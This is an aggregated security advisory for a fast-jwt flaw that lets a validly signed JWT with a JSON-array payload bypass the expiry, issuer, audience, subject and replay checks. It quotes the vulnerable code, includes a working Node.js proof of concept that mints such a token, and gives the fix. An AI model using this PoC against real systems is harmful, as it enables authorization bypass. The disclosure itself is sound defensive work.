fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array

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fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.

Source published

8 Oct 2026 21:51:22 UTC

Source modified

14 Oct 2026 01:25:44 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.

Source published

Oct 8, 2026, 9:51:22 PM (timezone not stated)

Source modified

Oct 14, 2026, 1:25:44 AM (timezone not stated)

Observed here

9 Nov 2026 05:08:09 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.

Source published

8 Oct 2026 22:17:28 UTC

Source modified

14 Oct 2026 02:16:57 UTC

Observed here

25 Oct 2026 05:17:13 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

### Summary `fast-jwt`'s `createVerifier` silently skips **all** configured claim validators (`exp`, `nbf`, `iss`, `aud`, `sub`, `jti`, `nonce`) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented `allowedIss` / `allowedAud` / `allowedSub` / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object. ### Details The decoder validates the **header** is a non-array object but the **payload** check is missing the `Array.isArray` guard: ```javascript // src/decoder.js:49 — header check (correct) if (!header || typeof header !== 'object' || Array.isArray(header)) { throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.') } // src/decoder.js:65 — payload check (vulnerable) if (!payload || typeof payload !== 'object') { // typeof [] === 'object' throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) } Because typeof [] === 'object' in JavaScript, an array payload passes the decoder. In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only numeric indices and length): // src/verifier.js:304-323 for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) { const value = payload[claim] ... if (!(claim in payload)) { // 'exp' in [] === false, 'iss' in [] === false, etc. continue // every validator silently skipped } ... } Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error returned to the caller. The verifier returns the array as the payload. requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is opt-in and not commonly configured. GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates inside the validator loop body and is never reached for this variant. ``` ### PoC ```javascript const { createVerifier } = require('fast-jwt') const crypto = require('crypto') const key = 'shared-secret' const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url') const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url') const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url') const token = `${header}.${payload}.${sig}` const verify = createVerifier({ key, allowedIss: ['legit-issuer'], allowedAud: ['legit-audience'], allowedSub: ['legit-subject'] // exp enforcement is on by default }) console.log(verify(token)) // Output: [ 'attacker', 'role:admin' ] // No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped. // Control: an object payload with the same garbage claims is correctly rejected: const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url') const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url') verify(`${header}.${bad}.${sig2}`) // Throws: "The token has expired at 1970-01-01T00:00:01.000Z." Verified against fast-jwt v6.2.4 (current master, commit a510448). ``` Suggested patch (src/decoder.js:65): - if (!payload || typeof payload !== 'object') { + if (!payload || typeof payload !== 'object' || Array.isArray(payload)) { throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) } This mirrors the existing header guard at line 49. ### Impact Type: Silent authorization-validator bypass. When a validly-signed JWT carries a JSON array as its payload, createVerifier skips every configured claim validator (exp, nbf, iss/allowedIss, aud/allowedAud, sub/allowedSub, jti, nonce) and returns success. Only the signature is actually checked; the verifier gives no error or warning that the configured defenses did not run. Who is impacted: Any application using fast-jwt's createVerifier with claim-validation options and where an attacker can produce or influence a validly-signed token. The realistic deployments are: - Shared-HMAC microservice meshes — any party holding the secret can mint a token accepted by every other verifier with audience, issuer, and expiry enforcement disabled. - Multi-tenant token issuers and SSO backends — a tenant or upstream caller able to influence payload shape can obtain forever-tokens accepted platform-wide. - Delegated signing / weak issuer-side input validation — any issuer that serializes attacker-controlled JSON into the payload without enforcing object shape. Consequences: forever-tokens (expiry bypass), cross-service replay (audience bypass), issuer spoofing in federated/OIDC setups, revocation-list bypass via missing jti, OIDC nonce replay, and audit-trail corruption (payload.sub is undefined so authenticated requests appear unattributable in logs).

Source published

8 Oct 2026 22:01:58 UTC

Source modified

8 Oct 2026 22:15:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Publisher rating · HIGH